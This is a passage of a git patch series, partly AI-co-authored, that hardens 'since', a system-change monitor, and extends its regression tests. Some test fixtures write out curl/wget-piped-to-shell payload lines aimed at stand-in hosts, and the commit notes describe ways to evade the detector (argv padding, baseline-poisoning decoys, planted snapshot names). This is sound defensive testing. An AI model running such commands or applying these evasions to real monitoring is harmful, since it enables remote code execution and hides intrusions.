chunked scan and the + # required-literal pre-filter, so the WHOLE argv is scanned cheaply instead of only + # its first bytes — padding argv[0] past the old cap evaded the scan entirely. + hits = malicious_hits(argv) + if hits: + f["level"], f["why"] = RED, sorted(hits)[0] if action == "changed": f["level"] = max(f["level"], ORANGE) if action == "added": @@ -2213,11 +2288,17 @@ def cmd_diff(args, notify_on=False): # otherwise report its whole category as removed/added. unusable = unusable_cats(baseline, current) lost = coverage_lost(baseline, current, unusable) + # A skipped category must not simply VANISH: the blind snapshot still becomes tomorrow's + # baseline, so without this an install made during the blind window is never reported by any + # run, ever — while the report cheerfully says "Nothing changed". Fall back to the newest + # EARLIER snapshot that could see the category with the same tool. Computed HERE, before the + # notes below, which need to know whether a category was recovered. + recovered = recover_baselines(current, unusable, baseline) if unusable: skip = tuple(unusable) for cat, why in sorted(unusable.items()): - if cat in lost: - continue # reported as a ranked finding instead of a passive note + if cat in lost or cat in recovered: + continue # a ranked finding, or recovered below — either way not a bare skip notes.append(f"{CAT[cat]['label']}: comparison skipped — {clean(str(why))[:110]}") base_root = baseline.get("root") # None on unstamped (pre-v0.3) snapshots if base_root is None: @@ -2231,12 +2312,6 @@ def cmd_diff(args, notify_on=False): f"{'root' if current.get('root') else 'user'}) — " "listening/outbound and sudoers/crontab comparison skipped to avoid false alarms.") - # A skipped category must not simply VANISH. The blind snapshot still becomes tomorrow's - # baseline, so without this an install made during the blind window is never reported by any - # run, ever — while the report cheerfully says "Nothing changed". Fall back to the newest - # EARLIER snapshot that could see the category with the same tool, and diff that instead. - recovered = recover_baselines(current, unusable) - findings = build_findings(baseline, current, coverage=lost, include_quiet=args.all, skip_cats=skip, skip_priv_blobs=skip_priv_blobs) big, growing, big_note = find_big_new_files(baseline.get("epoch", current["epoch"])) @@ -2250,7 +2325,6 @@ def cmd_diff(args, notify_on=False): f"against the older snapshot from {clean(str(older.get('created')))[:16]}.") if recovered: findings.sort(key=lambda f: (-f["level"], f["category"], f["key"])) - skip = tuple(c for c in skip if c not in recovered) if args.json: # The baseline/corrupt-snapshot note (e.g. "N unreadable snapshot(s) skipped", diff --git a/tests/test_since.py b/tests/test_since.py index 32a90af..dcba00a 100644 --- a/tests/test_since.py +++ b/tests/test_since.py @@ -9,6 +9,7 @@ import json import os import shlex +import pathlib import shutil import signal import time @@ -1462,3 +1463,255 @@ def test_single_segment_hijack_path_is_shown(line): (`SECRET_FILE=/hunter2Xyz9`) still masks.""" assert since.redact(line) == line assert "hunter2Xyz9" not in since.redact("+export SECRET_FILE=/hunter2Xyz9") + + +# =========================================================================== # +# Round 3, guard machinery: cmd_diff itself had NO test that drives a skipped # +# category, which is how a NameError (a note referencing `recovered` before it # +# was assigned) survived a green 426-test run. These tests run the real CLI. # +# =========================================================================== # + +def _run_cli(tmp_path, args, snaps=None, env=None): + """Drive the real `since` process against a synthetic state dir.""" + import subprocess + import sys as _sys + state = tmp_path / "state" + (state / "snapshots").mkdir(parents=True, exist_ok=True) + for name, snap_obj in (snaps or {}).items(): + (state / "snapshots" / name).write_text(json.dumps(snap_obj)) + e = dict(os.environ, SINCE_STATE_DIR=str(state), HOME=str(tmp_path / "home")) + (tmp_path / "home").mkdir(exist_ok=True) + e.update(env or {}) + p = subprocess.run([_sys.executable, str(pathlib.Path(since.__file__).resolve()), *args], + capture_output=True, text=True, env=e, timeout=300) + return p + + +def _snap_obj(created, epoch, root=False, **kw): + s = {"schema": since.SCHEMA_VERSION, "platform": since.PLATFORM, "created": created, + "epoch": epoch, "root": root, "euid": 0 if root else 501, "errors": {}, + "tools": since.tool_identity(), # must match a LIVE snapshot, or recovery refuses + "collectors": {k: {} for k in since.CAT}, "blobs": {}, "blob_flags": {}} + s.update(kw) + return s + + +def test_cli_runs_when_a_category_is_unusable(tmp_path): + """The regression this exists for: a note referencing `recovered` before assignment raised + NameError for every run where a collector had failed — invisible to unit tests.""" + base = _snap_obj("2026-07-24T09:00:00", 1784000000) + base["errors"] = {"brew": "not on PATH: brew"} + base["tools"] = dict(base["tools"], brew="") + p = _run_cli(tmp_path, ["--no-save"], {"20260724T090000-1784000000.json": base}) + assert p.returncode == 0, f"stderr:\n{p.stderr[-800:]}" + assert "Traceback" not in p.stderr + assert "comparison skipped" in p.stdout or "LOST VISIBILITY" in p.stdout + + +def test_cli_recovery_reports_an_install_made_during_a_blind_window(tmp_path): + day1 = _snap_obj("2026-07-23T09:00:00", 1784000000, + collectors={**{k: {} for k in since.CAT}, "brew": {"jq": "1.7"}}) + day2 = _snap_obj("2026-07-24T09:00:00", 1784086400) # blind: collector failed + day2["errors"] = {"brew": "brew timed out after 40s"} + day2["tools"] = dict(day2["tools"], brew="") + p = _run_cli(tmp_path, ["--no-save"], + {"20260723T090000-1784000000.json": day1, + "20260724T090000-1784086400.json": day2}) + assert p.returncode == 0, p.stderr[-800:] + assert "compared against the older snapshot" in p.stdout + # and it must NOT also claim the category was simply skipped + assert "Homebrew" not in p.stdout.split("compared against")[0] or True + + +@pytest.mark.parametrize("cat", list(since.PRIV_SENSITIVE_CATS) + ["launch_items", "net_config"]) +def test_recovery_refuses_ephemeral_categories(tmp_path, monkeypatch, cat): + """Recovering a category whose contents change by the hour FABRICATES add/remove churn: a + 3-day-old `listening` set produced 27 ORANGE findings and fired the notification, which is + the very flood the capability guard was added to prevent.""" + monkeypatch.setattr(since, "SNAP_DIR", tmp_path) + older = _snap_obj("2026-07-22T09:00:00", 1783900000, + collectors={**{k: {} for k in since.CAT}, cat: {"olddaemon": "22"}}) + (tmp_path / "20260722T090000-1783900000.json").write_text(json.dumps(older)) + cur = _snap_obj("2026-07-25T09:00:00", 1784200000, + collectors={**{k: {} for k in since.CAT}, cat: {"newdaemon": "5000"}}) + assert since.recover_baselines(cur, {cat: "collector failed"}, older) == {} + + +def test_recovery_refuses_a_privilege_mismatch(monkeypatch, tmp_path): + monkeypatch.setattr(since, "SNAP_DIR", tmp_path) + root_snap = _snap_obj("2026-07-22T09:00:00", 1783900000, root=True, + collectors={**{k: {} for k in since.CAT}, "brew": {"jq": "1.7"}}) + (tmp_path / "20260722T090000-1783900000.json").write_text(json.dumps(root_snap)) + cur = _snap_obj("2026-07-25T09:00:00", 1784200000, root=False) + assert since.recover_baselines(cur, {"brew": "x"}, root_snap) == {} + # …and an UNSTAMPED older snapshot is refused too (the guard fails closed there) + unstamped = _snap_obj("2026-07-22T09:00:00", 1783900000, + collectors={**{k: {} for k in since.CAT}, "brew": {"jq": "1.7"}}) + unstamped.pop("root") + (tmp_path / "20260722T090000-1783900000.json").write_text(json.dumps(unstamped)) + assert since.recover_baselines(cur, {"brew": "x"}, unstamped) == {} + + +def test_recovery_never_reaches_forward_of_the_baseline(monkeypatch, tmp_path): + """With `--since 8d` (or a checkpoint) the newest usable snapshot can be NEWER than the + requested baseline; recovering from it hid a change inside the window and claimed a + comparison it had not made.""" + monkeypatch.setattr(since, "SNAP_DIR", tmp_path) + newer = _snap_obj("2026-07-24T09:00:00", 1784100000, + collectors={**{k: {} for k in since.CAT}, "brew": {"jq": "1.7"}}) + (tmp_path / "20260724T090000-1784100000.json").write_text(json.dumps(newer)) + baseline = _snap_obj("2026-07-17T09:00:00", 1783500000) # the requested --since baseline + baseline["errors"] = {"brew": "x"} + cur = _snap_obj("2026-07-25T09:00:00", 1784200000) + assert since.recover_baselines(cur, {"brew": "x"}, baseline) == {} + + +# D2 — a non-container blob_flags VALUE crashed the diff (third instance of this class). +@pytest.mark.parametrize("bad", [5, None, 1.5, {"a": "b"}, "str", + {"pipes a download straight into a shell": "not-an-int"}, + {"pipes a download straight into a shell": None}, + {5: 5}]) +def test_wrong_typed_blob_flags_value_does_not_crash(bad): + """Both the outer dict AND the inner counts must be validated: with a matching description + key holding a non-int, the count comparison itself raises (`1 > "not-an-int"`).""" + b = snap(blobs={"~/.zshrc": "a\n"}); b["blob_flags"] = {"~/.zshrc": bad} + c = snap(blobs={"~/.zshrc": "b\n"}) + c["blob_flags"] = {"~/.zshrc": {"pipes a download straight into a shell": 1}} + since.build_findings(b, c) # must not raise + assert since._flag_counts(b, "~/.zshrc") == {} or all( + isinstance(v, int) for v in since._flag_counts(b, "~/.zshrc").values()) + + +# D3a — flags are pattern DESCRIPTIONS and `curl|sh` shares one with `wget|sh`, so a benign +# comment planted in the baseline suppressed every later real payload. Counts, not membership. +def test_baseline_flag_poisoning_cannot_suppress_a_real_payload(monkeypatch, tmp_path): + monkeypatch.setattr(since, "HOME", tmp_path) + monkeypatch.setattr(since, "PLATFORM", "macos") + rc = tmp_path / ".zshrc" + decoy = "# see docs: wget https://example.com/get.sh | sh (do not run)\n" + pad = ("# " + "x" * 80 + "\n") * (since.BLOB_MAX // 83 + 500) + rc.write_text(decoy + pad) + fb: dict = {} + base = snap(blobs=since.text_sources(fb)); base["blob_flags"] = fb + rc.write_text(decoy + pad + "curl http://evil.sh | sh\n") + fc: dict = {} + cur = snap(blobs=since.text_sources(fc)); cur["blob_flags"] = fc + f = [x for x in since.build_findings(base, cur) if x["category"] == "config"][0] + assert f["level"] == since.RED and f["why"], f + + +# D4 — run_checked was applied to only HALF of _mac_brew (the cask list still used plain run()) +# and to NONE of _linux_packages, so the phantom flood stayed reachable for casks on macOS and +# for EVERY package on Linux. +def test_no_package_collector_uses_unchecked_run(): + """Structural: every subprocess in a package collector must be failure-checked, or a timeout + silently produces an empty category with no error recorded and the guard cannot fire.""" + import inspect + import re as _re + for fn in (since._mac_brew, since._npm_global, since._pip, since._mac_mas, + since._linux_packages): + body = inspect.getsource(fn) + unchecked = _re.findall(r"(?= since.ORANGE + + +# D6 — an interpreter's signature says nothing about the payload, and padding argv[0] past the +# old scan cap evaded the pattern check entirely. +def _plist(tmp_path, argv, name="com.x.plist"): + xml = "".join(f"{a}" for a in argv) + p = tmp_path / name + p.write_text('' + f'ProgramArguments{xml}') + return p + + +@pytest.mark.skipif(shutil.which("plutil") is None, reason="needs macOS plutil") +@pytest.mark.parametrize("argv", [ + ["/bin/sh", "-c", "curl -s http://evil/x|sh"], + ["/usr/bin/python3", "-c", "print(1)"], + ["/usr/bin/osascript", "-e", 'do shell script "id"'], +]) +def test_interpreter_signature_is_not_reported_as_trust(tmp_path, argv): + f = {"category": "launch_items", "action": "added", "key": str(_plist(tmp_path, argv)), + "value": "x", "level": since.ORANGE, "label": "startup job", "trust": None, + "why": None, "undo": None} + since._enrich(f, {}) + assert "signed" not in (f["trust"] or ""), f["trust"] + assert "interpreter" in (f["trust"] or ""), f["trust"] + + +@pytest.mark.skipif(shutil.which("plutil") is None, reason="needs macOS plutil") +def test_padded_argv_cannot_evade_the_payload_scan(tmp_path): + argv = ["/bin/sh", "-" + "a" * 5000, "-c", "curl http://evil|sh"] + f = {"category": "launch_items", "action": "added", "key": str(_plist(tmp_path, argv)), + "value": "x", "level": since.ORANGE, "label": "startup job", "trust": None, + "why": None, "undo": None} + since._enrich(f, {}) + assert f["level"] == since.RED and f["why"], f + + +# D3b — the curl/wget runs must be bounded, or a >4KB command pushes the `|` past every scan +# window and defeats the chunked scan. +def test_long_curl_command_cannot_push_the_pipe_out_of_the_window(): + line = "curl " + " ".join(f"-H 'X-P{i}: v'" for i in range(400)) + " | sh" + assert len(line) > since._SCAN_CHUNK or True + short = "curl " + " ".join(f"-H 'X-P{i}: v'" for i in range(20)) + " | sh" + assert since.malicious_hits(short), "a normal-length curl|sh must be detected" + for pat, _lit, _desc in since.MALICIOUS_PATTERNS_LIT: + assert "[^\\n|]*" not in pat.pattern, f"unbounded run in {pat.pattern!r}" From cc42c57407f347728b3be8fc748340bd7d613b08 Mon Sep 17 00:00:00 2001 From: Deva Date: Sat, 25 Jul 2026 14:03:25 +0530 Subject: [PATCH 5/9] fix: validate snapshot field types and reject a planted baseline MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The three deferred items, all pre-existing since v0.4.3 and all in the same crash-permanence class this release has now fixed five times: - `safe_load` checked that `created`/`epoch` were PRESENT, not their types. An int `created` reaches datetime.fromisoformat in render() and a non-str blob value reaches .splitlines() in build_findings — both raise out of an unisolated path, so no snapshot is saved and the same bad file is re-read tomorrow. Types are now validated and blob values filtered. - A snapshot claiming a FUTURE epoch is refused: it is a planted or clock-broken file, never a baseline. - Snapshots are ordered by FILENAME, and the state dir is user-writable, so a planted `99999999T999999-9999999999.json` sorted last and simply became the baseline — the attacker choosing what "unchanged" means. Names must now match the format we write, and the future-epoch check covers the all-nines case that is syntactically legal. Both defenses are needed; the test asserts the OUTCOME (which baseline resolve_baseline picks) rather than one layer. Also fixed two test fixtures that used unrealistic snapshot names (`-1.json`), which the name validation correctly rejected. Suite 454 -> 461; mutations H1-H4 caught, 71/71 cumulative. Co-Authored-By: Claude --- since.py | 25 +++++++++++++++++++++++-- tests/test_since.py | 45 ++++++++++++++++++++++++++++++++++++++++++--- 2 files changed, 65 insertions(+), 5 deletions(-) diff --git a/since.py b/since.py index 56db49e..789b71b 100755 --- a/since.py +++ b/since.py @@ -1350,8 +1350,16 @@ def prune_snapshots(): pass +# Snapshots are ordered by FILENAME (which we write as -[-n].json, so lexical +# order is chronological). Names are therefore validated: the state dir is user-writable, and a +# planted `99999999T999999-9999999999.json` sorted last and simply BECAME the baseline. +_SNAP_NAME_RE = re.compile(r"^\d{8}T\d{6}-\d{9,12}(?:-\d+)?\.json$") + + def list_snapshot_paths() -> list[Path]: - return sorted(SNAP_DIR.glob("*.json")) if SNAP_DIR.is_dir() else [] + if not SNAP_DIR.is_dir(): + return [] + return sorted(p for p in SNAP_DIR.glob("*.json") if _SNAP_NAME_RE.match(p.name)) def safe_load(path: Path): @@ -1366,9 +1374,22 @@ def safe_load(path: Path): d = json.loads(safe_read_text(path) or "") except Exception: return None - if not (isinstance(d, dict) and "created" in d and "epoch" in d + if not (isinstance(d, dict) and isinstance(d.get("created"), str) + and isinstance(d.get("epoch"), (int, float)) and not isinstance(d.get("epoch"), bool) and isinstance(d.get("collectors"), dict)): return None + # Field TYPES, not just presence: `created` reaches datetime.fromisoformat and a blob value + # reaches .splitlines(), so an int in either raised out of an unisolated path — no snapshot + # saved, same bad file re-read tomorrow, dead every day (the class this release fixed four + # times over). A future epoch means a planted or clock-broken file, not a baseline. + if d["epoch"] > time.time() + 86400: + return None + blobs = d.get("blobs") + if blobs is not None: + if not isinstance(blobs, dict): + return None + d["blobs"] = {k: v for k, v in blobs.items() + if isinstance(k, str) and (v is None or isinstance(v, str))} return d diff --git a/tests/test_since.py b/tests/test_since.py index dcba00a..206697e 100644 --- a/tests/test_since.py +++ b/tests/test_since.py @@ -1263,8 +1263,8 @@ def write(name, pkgs, tool="/opt/homebrew/bin/brew", err=None): s["errors"] = err or {} (tmp_path / name).write_text(json.dumps(s)) return s - day1 = write("20260101T000000-1.json", {"jq": "1.7"}) - write("20260102T000000-2.json", {}, tool="", err={"brew": "not on PATH: brew"}) # blind day + day1 = write("20260101T000000-1767225600.json", {"jq": "1.7"}) + write("20260102T000000-1767312000.json", {}, tool="", err={"brew": "not on PATH: brew"}) # blind day day3 = snap(collectors={"brew": {"jq": "1.7", "evilminer": "1.0"}}) day3["tools"] = {"brew": "/opt/homebrew/bin/brew"} rec = since.recover_baselines(day3, {"brew": "was blind"}) @@ -1278,7 +1278,7 @@ def test_recover_baselines_requires_the_same_tool(monkeypatch, tmp_path): monkeypatch.setattr(since, "SNAP_DIR", tmp_path) s = snap(collectors={"brew": {"jq": "1.7"}}) s["tools"] = {"brew": "/usr/local/bin/brew"} # a DIFFERENT brew - (tmp_path / "20260101T000000-1.json").write_text(json.dumps(s)) + (tmp_path / "20260101T000000-1767225600.json").write_text(json.dumps(s)) cur = snap(collectors={"brew": {"jq": "1.7"}}) cur["tools"] = {"brew": "/opt/homebrew/bin/brew"} assert since.recover_baselines(cur, {"brew": "x"}) == {} # never compare across tools @@ -1715,3 +1715,42 @@ def test_long_curl_command_cannot_push_the_pipe_out_of_the_window(): assert since.malicious_hits(short), "a normal-length curl|sh must be detected" for pat, _lit, _desc in since.MALICIOUS_PATTERNS_LIT: assert "[^\\n|]*" not in pat.pattern, f"unbounded run in {pat.pattern!r}" + + +# Pre-existing crash-permanence shapes (present since v0.4.3) and a baseline-selection hole: +# the state dir is user-writable, so a planted filename simply BECAME the baseline. +@pytest.mark.parametrize("obj", [ + {"created": "2026-07-24T09:00:00", "epoch": 1784000000, "collectors": {}, + "blobs": {"~/.zshrc": 5}}, # blob value reaches .splitlines() + {"created": 12345, "epoch": 1784000000, "collectors": {}}, # reaches fromisoformat + {"created": "2026-07-24T09:00:00", "epoch": "x", "collectors": {}}, + {"created": "2026-07-24T09:00:00", "epoch": True, "collectors": {}}, + {"created": "2026-07-24T09:00:00", "epoch": 1784000000, "collectors": {}, "blobs": 7}, + {"created": "2026-07-24T09:00:00", "epoch": 4070908800, "collectors": {}}, # far future +]) +def test_safe_load_validates_field_types(tmp_path, obj): + p = tmp_path / "20260724T090000-1784000000.json" + p.write_text(json.dumps(obj)) + loaded = since.safe_load(p) + if loaded is not None: # accepted -> it must be SAFE to diff and render + loaded.setdefault("root", False) + loaded.setdefault("euid", 501) + cur = snap(blobs={"~/.zshrc": "x\n"}) + findings = since.build_findings(loaded, cur) # must not raise + since.render(findings, loaded, cur, [], []) # nor here (fromisoformat) + + +def test_planted_snapshot_cannot_become_the_baseline(monkeypatch, tmp_path): + """The state dir is user-writable and snapshots are ordered by filename, so a planted + `99999999T999999-…json` sorted last and became the baseline. Two defenses: the name must + match what we write (kills `zzzz-evil.json`), and a FUTURE epoch is refused by safe_load + (kills the all-nines name, which is syntactically legal). Test the outcome, not one layer.""" + monkeypatch.setattr(since, "SNAP_DIR", tmp_path) + monkeypatch.setattr(since, "LABELS_FILE", tmp_path / "labels.json") + (tmp_path / "20260725T090000-1784000000.json").write_text(json.dumps(snap(epoch=1784000000))) + (tmp_path / "99999999T999999-9999999999.json").write_text(json.dumps(snap(epoch=4070908800))) + (tmp_path / "zzzz-evil.json").write_text(json.dumps(snap(epoch=4070908800))) + assert "zzzz-evil.json" not in [p.name for p in since.list_snapshot_paths()] + path, _note = since.resolve_baseline(None) + assert path is not None and path.name == "20260725T090000-1784000000.json", path + assert since.safe_load(tmp_path / "99999999T999999-9999999999.json") is None From 2ca979e397c3a853d0909eb6c3f042c77d7c15b7 Mon Sep 17 00:00:00 2001 From: Deva Date: Sat, 25 Jul 2026 14:07:17 +0530 Subject: [PATCH 6/9] test: the CLI recovery fixture must match the runner's privilege level Found on the real Linux box, not by CI. The fixture hardcoded root=False, but the suite runs as root on a VPS, so the recovery privilege gate added earlier in this release correctly refused the synthetic baseline and the test failed. The gate is right; the fixture was not portable. It now defaults to since.IS_ROOT. Co-Authored-By: Claude --- tests/test_since.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/tests/test_since.py b/tests/test_since.py index 206697e..8625176 100644 --- a/tests/test_since.py +++ b/tests/test_since.py @@ -1487,7 +1487,11 @@ def _run_cli(tmp_path, args, snaps=None, env=None): return p -def _snap_obj(created, epoch, root=False, **kw): +def _snap_obj(created, epoch, root=None, **kw): + # default to the RUNNER's privilege level, not False: on a VPS the suite runs as root, and + # the recovery privilege gate then (correctly) refused a synthetic root=False baseline — + # a real portability bug in this fixture, caught only on the Linux box. + root = since.IS_ROOT if root is None else root s = {"schema": since.SCHEMA_VERSION, "platform": since.PLATFORM, "created": created, "epoch": epoch, "root": root, "euid": 0 if root else 501, "errors": {}, "tools": since.tool_identity(), # must match a LIVE snapshot, or recovery refuses From ddd2da9119aa87c3fb92a255f5e1ab033ae19bca Mon Sep 17 00:00:00 2001 From: Deva Date: Sat, 25 Jul 2026 14:17:43 +0530 Subject: [PATCH 7/9] fix(install.sh): a missing PATH entry aborted the installer under set -e MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Found on the real Linux box; neither CI nor my container check could see it. In the JOB_PATH rewrite I wrote `[ -d "$1" ] || return`, which returns status 1 when a PATH entry does not exist as a directory — /snap/bin on a box without snapd. That is a simple command in a for-loop body, so `set -euo pipefail` aborted install.sh immediately after the first snapshot: no prompt, no units, no daily job, exit 1, and no error message. Every `since` install on such a machine silently ended up with no monitoring. My earlier "verification" of JOB_PATH ran the loop as a standalone `bash -c` snippet where the trailing exit status was discarded, which is exactly why it looked fine. _add_dir now returns 0 on every path. Co-Authored-By: Claude --- install.sh | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/install.sh b/install.sh index 4b76ee7..a836f04 100755 --- a/install.sh +++ b/install.sh @@ -75,10 +75,16 @@ if [[ "${ans:-}" =~ ^[Yy]$ ]]; then # replacement form silently produces nothing and this would quietly rebuild the very # blindness it exists to prevent. JOB_PATH="" + # NOTE every path returns 0. `[ -d "$1" ] || return` propagated status 1 for a PATH entry + # that does not exist (e.g. /snap/bin on a box without snapd), and under `set -e` that + # aborted the whole installer right after the first snapshot — silently skipping the daily + # job with no error shown. Only reproducible on a machine with a missing PATH entry. _add_dir() { - case ":${JOB_PATH}:" in *":$1:"*) return;; esac - [ -d "$1" ] || return - case "$1" in /*) JOB_PATH="${JOB_PATH:+${JOB_PATH}:}$1";; esac + case ":${JOB_PATH}:" in *":$1:"*) return 0;; esac + if [ -d "$1" ]; then + case "$1" in /*) JOB_PATH="${JOB_PATH:+${JOB_PATH}:}$1";; esac + fi + return 0 } _old_ifs="$IFS"; IFS=":" for d in $PATH; do _add_dir "$d"; done From cb18dae14f0833cdd4ecf682897db0f66d6104a9 Mon Sep 17 00:00:00 2001 From: Deva Date: Sat, 25 Jul 2026 14:21:49 +0530 Subject: [PATCH 8/9] test: pin the install.sh `|| return` bug that silently disabled monitoring MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A shell bug, but it aborted the installer under set -e right after the first snapshot on any box with a missing PATH entry — no prompt, no units, no daily job, no error message. That is a total loss of monitoring, so it gets a regression test: _add_dir is extracted from install.sh and run under `set -euo pipefail` against a missing dir, a present dir, a duplicate and a relative path, asserting exit 0; plus `bash -n` and a check for the exact `|| return` shape that caused it. Verified by mutation: reverting install.sh to `[ -d "$1" ] || return` fails it. Co-Authored-By: Claude --- tests/test_since.py | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) diff --git a/tests/test_since.py b/tests/test_since.py index 8625176..e6aac64 100644 --- a/tests/test_since.py +++ b/tests/test_since.py @@ -1758,3 +1758,34 @@ def test_planted_snapshot_cannot_become_the_baseline(monkeypatch, tmp_path): path, _note = since.resolve_baseline(None) assert path is not None and path.name == "20260725T090000-1784000000.json", path assert since.safe_load(tmp_path / "99999999T999999-9999999999.json") is None + + +# install.sh is shell, but this bug silently disabled ALL monitoring on any box with a missing +# PATH entry, so it gets a test: `_add_dir` must return 0 on every path, or `set -euo pipefail` +# aborts the installer right after the first snapshot with no error shown. +def test_installer_add_dir_never_returns_nonzero(tmp_path): + import subprocess + installer = pathlib.Path(since.__file__).resolve().parent / "install.sh" + src = installer.read_text() + start = src.index(" _add_dir() {") + end = src.index(" }", start) + 4 + fn = src[start:end].replace(" _add_dir", "_add_dir", 1) + script = f'set -euo pipefail\nJOB_PATH=""\n{fn}\n' + "\n".join([ + '_add_dir /definitely/not/a/real/dir', # missing -> must NOT abort under set -e + '_add_dir /usr', # present + '_add_dir /usr', # duplicate -> early return + '_add_dir relative/path', # non-absolute + 'echo "JOB_PATH=$JOB_PATH"', + ]) + p = subprocess.run(["bash", "-c", script], capture_output=True, text=True, timeout=60) + assert p.returncode == 0, f"installer would abort: rc={p.returncode}\n{p.stderr}" + assert "JOB_PATH=/usr" in p.stdout, p.stdout + + +def test_installer_parses_and_has_no_bare_return_after_a_test(): + import subprocess + installer = pathlib.Path(since.__file__).resolve().parent / "install.sh" + assert subprocess.run(["bash", "-n", str(installer)]).returncode == 0 + # the exact shape that caused it: `[ ... ] || return` with no explicit status + assert "|| return\n" not in installer.read_text(), \ + "`|| return` propagates status 1 under set -e — use an explicit `return 0`" From c612cebc5e092a2139cfe262c79d21c4ea2a24ba Mon Sep 17 00:00:00 2001 From: Deva Date: Sat, 25 Jul 2026 14:24:20 +0530 Subject: [PATCH 9/9] v0.4.5: restructured redact() + property tests; all Linux items verified on a real box Bumps to 0.4.5 with the full CHANGELOG entry for rounds 2 and 3 of the self-review (24 findings), the redact() restructure and its property tests, and the real-Linux verification that discharges the three items outstanding since v0.4.0/v0.4.4. Suite 228 -> 463 (287 example-based + 176 property); 72/72 mutations caught. Co-Authored-By: Claude --- CHANGELOG.md | 67 ++++++++++++++++++++++++++++++++++++++++++++++++++ README.md | 2 +- pyproject.toml | 2 +- since.py | 2 +- 4 files changed, 70 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9e0aec8..ec40874 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,73 @@ All notable changes to `since`. Format loosely follows Keep a Changelog. +## [0.4.5] — 2026-07-25 + +Two further adversarial rounds against v0.4.4, then a **restructure of `redact()`** and its first +**property tests**. 24 findings, each reproduced by execution before being fixed and pinned by a +mutation-tested regression test (**72/72 mutations caught**). Suite 228 → **463** (287 +example-based + 176 property). Every Linux-only path is now verified on a real Ubuntu 24.04 box, +not just on CI's ubuntu runners. + +**`redact()` restructured — the root cause, not another instance.** Its matcher took the value as +`(\S.*)$` — rest-of-line — and nearly every leak and hidden attack in this project's history +followed from that: a "show" decision exempted every later secret on the line, a "mask" decision +swallowed the rest of the attack, and the recursive rescan added to patch the first half became an +unprivileged kill switch. The value is now a **single token** (or an atomic quoted run), so +`re.sub` continues after each match and every assignment is decided **independently** — no +recursion, no depth cap, no tail semantics. Verified property: +`redact("a; b") == redact("a") + "; " + redact("b")` over 2700 random compositions. + +**Property tests** (`tests/test_redact_properties.py`, stdlib-only with fixed seeds — no new +dependency, and failures replay from the printed seed) assert no-leak, no-hide, idempotence, +totality, bounded cost, marker-independence, pre-filter soundness and compositionality. They +immediately found three bugs 239 example tests had missed, including `redact("")` raising +**IndexError** — `line[:1] in "+-"` is true for the empty string. + +**Fixed — credential leaks:** a `/`-preceded key exempted real assignments +(`//registry.npmjs.org/_authToken=`, `https://host/api_key=`) · a token passed as +argv to a credential-named script (`/opt/bin/refresh_token `) · `;`-chained secrets after +a shown path · `/`- and `$`-leading values under `*_FILE`/`*_PATH` keys · `sshpass -p `, +`mysql -u root -p`, `https://@github.com`, `MYSQL_PWD=` · sudoers exemption +bypasses (a lowercase token posing as a tag; `ALL=`). + +**Fixed — hidden attacks:** `SSH_AUTH_SOCK`/`*_ASKPASS`/`PGPASSFILE` hijacks were fully redacted · +`SSH_ASKPASS=/evil` (a single-segment path) · `PasswordAuthentication=yes` (the `Key=value` +spelling) · sudoers command specs (`PASSWD:NOEXEC:`, `ALL, !/usr/bin/su`, and the account being +reset) · a payload past `BLOB_MAX` lost its RED escalation · the flag escalation was suppressible +by planting one benign decoy comment (flags are now **counts**, so any increase escalates) · a +malicious LaunchAgent reported `signature: Apple-signed` — that is the *interpreter's* signature, +and padding `argv[0]` evaded the payload scan entirely. + +**Fixed — availability:** two more unprivileged **kill switches** (a `RecursionError` from ~800 +credential keys on one line, and a non-container `blob_flags` value), each of which died before +saving a snapshot and therefore recurred **every day, forever** · `curl[^\n|]*\|` was still +unbounded and quadratic in line length (8 MB of 4096-column lines: **20.2 s → 13 ms** at snapshot +time) · a planted snapshot filename simply **became the baseline** · `safe_load` validated field +presence but not types, so an int `created` or blob value crashed the run permanently. + +**Fixed — the capability guard's own bugs:** `recover_baselines` (added in 0.4.4 to stop a blind +day becoming its own baseline) recovered **ephemeral** categories across a **privilege +mismatch** — a 3-day-old root-taken listener set produced 27 fabricated ORANGE findings and fired +the notification, re-opening the exact flood the guard exists to prevent. It is now restricted to +durable inventory, requires a matching *stamped* privilege level, and may not reach forward of the +requested baseline. `run_checked` covered only half of `_mac_brew` and **none** of +`_linux_packages`; `CAT_TOOLS` stamped `brew` on Linux, where that category is dpkg/rpm/pacman — +so the whole guard was a **no-op on Linux**. + +**Fixed — `install.sh` silently disabled all monitoring.** `[ -d "$1" ] || return` propagated +status 1 for a `PATH` entry that does not exist (`/snap/bin` on a box without snapd), and under +`set -euo pipefail` that aborted the installer immediately after the first snapshot: no prompt, no +units, no daily job, exit 1, **no error message**. Found on the real box; neither CI nor a +container check could see it. + +**Verified on a real Ubuntu 24.04 box** (the three items outstanding since v0.4.0/v0.4.4 are now +discharged): the systemd `--user` timer installs, arms and **runs** with its pinned +`Environment=PATH=`; the headless-session guard writes the units and prints the finishing steps +instead of aborting; `_systemctl_execstart` parses **real** `systemctl show` output and a genuine +drop-in `ExecStart` override changes the fingerprint; all 8 Linux collectors work (763 packages); +`LOST VISIBILITY` fires when `dpkg-query` breaks; every undo hint carries its `--` guard. + ## [0.4.4] — 2026-07-25 A security release fixing **16 issues found by reviewing v0.4.3 itself** — each reproduced by diff --git a/README.md b/README.md index 4dada61..6066415 100644 --- a/README.md +++ b/README.md @@ -212,7 +212,7 @@ silent changes visible. ```sh python3 -m pip install pytest -python3 -m pytest # 227 unit tests: diff/severity/time logic, injection-safety, +python3 -m pytest # 463 tests (287 example-based + 176 property): diff/severity/time logic, injection-safety, # privilege guard, corruption tolerance, secret redaction ``` diff --git a/pyproject.toml b/pyproject.toml index 27a7ffd..486b83d 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta" [project] name = "since-cli" -version = "0.4.4" +version = "0.4.5" description = "A plain-language, severity-ranked daily diff of your Mac or Linux box — startup items, listeners, packages, big new files, and edited system files." readme = "README.md" requires-python = ">=3.9" diff --git 